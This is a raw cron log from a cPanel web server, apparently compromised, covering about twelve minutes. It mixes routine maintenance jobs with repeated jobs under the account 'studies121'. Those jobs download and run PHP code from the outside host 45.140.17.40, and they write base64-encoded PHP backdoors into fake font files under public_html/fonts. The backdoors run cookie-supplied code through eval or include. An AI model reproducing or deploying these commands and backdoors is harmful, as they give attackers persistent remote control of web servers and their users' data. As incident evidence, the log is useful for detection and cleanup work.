Aug 31 16:30:01 ip-184-168-122-23 CROND[29346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:30:01 ip-184-168-122-23 CROND[29350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:30:01 ip-184-168-122-23 CROND[29352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:30:01 ip-184-168-122-23 CROND[29347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:31:01 ip-184-168-122-23 CROND[29528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:31:01 ip-184-168-122-23 CROND[29530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:31:01 ip-184-168-122-23 CROND[29533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:31:01 ip-184-168-122-23 CROND[29531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 16:31:01 ip-184-168-122-23 CROND[29532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:32:01 ip-184-168-122-23 CROND[29630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:32:01 ip-184-168-122-23 CROND[29632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:32:01 ip-184-168-122-23 CROND[29634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:32:01 ip-184-168-122-23 CROND[29633]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:32:01 ip-184-168-122-23 CROND[29635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:33:01 ip-184-168-122-23 CROND[29721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:33:01 ip-184-168-122-23 CROND[29723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:33:01 ip-184-168-122-23 CROND[29725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:33:01 ip-184-168-122-23 CROND[29727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:34:01 ip-184-168-122-23 CROND[29812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:34:01 ip-184-168-122-23 CROND[29816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:34:01 ip-184-168-122-23 CROND[29814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:34:01 ip-184-168-122-23 CROND[29813]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:34:01 ip-184-168-122-23 CROND[29815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:35:01 ip-184-168-122-23 CROND[29959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:35:01 ip-184-168-122-23 CROND[29961]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 16:35:01 ip-184-168-122-23 CROND[29964]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 16:35:01 ip-184-168-122-23 CROND[29966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:35:01 ip-184-168-122-23 CROND[29968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:35:01 ip-184-168-122-23 CROND[29963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:35:01 ip-184-168-122-23 CROND[29965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:35:01 ip-184-168-122-23 CROND[29967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:36:01 ip-184-168-122-23 CROND[30145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:36:01 ip-184-168-122-23 CROND[30147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:36:01 ip-184-168-122-23 CROND[30148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:36:01 ip-184-168-122-23 CROND[30149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:36:01 ip-184-168-122-23 CROND[30150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:37:01 ip-184-168-122-23 CROND[30250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:37:01 ip-184-168-122-23 CROND[30253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:37:01 ip-184-168-122-23 CROND[30252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:37:01 ip-184-168-122-23 CROND[30254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:38:01 ip-184-168-122-23 CROND[30375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:38:01 ip-184-168-122-23 CROND[30377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:38:01 ip-184-168-122-23 CROND[30378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:38:01 ip-184-168-122-23 CROND[30379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:38:01 ip-184-168-122-23 CROND[30380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:39:01 ip-184-168-122-23 CROND[30507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:39:01 ip-184-168-122-23 CROND[30509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:39:01 ip-184-168-122-23 CROND[30510]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 16:39:01 ip-184-168-122-23 CROND[30512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:39:01 ip-184-168-122-23 CROND[30511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:40:01 ip-184-168-122-23 CROND[30604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:40:01 ip-184-168-122-23 CROND[30605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:40:01 ip-184-168-122-23 CROND[30609]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:40:01 ip-184-168-122-23 CROND[30612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:40:01 ip-184-168-122-23 CROND[30613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:40:01 ip-184-168-122-23 CROND[30611]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:40:01 ip-184-168-122-23 CROND[30610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:40:01 ip-184-168-122-23 CROND[30616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:41:01 ip-184-168-122-23 CROND[30775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:41:01 ip-184-168-122-23 CROND[30776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:41:01 ip-184-168-122-23 CROND[30778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:41:01 ip-184-168-122-23 CROND[30777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:42:01 ip-184-168-122-23 CROND[30885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:42:01 ip-184-168-122-23 CROND[30888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:42:01 ip-184-168-122-23 CROND[30891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
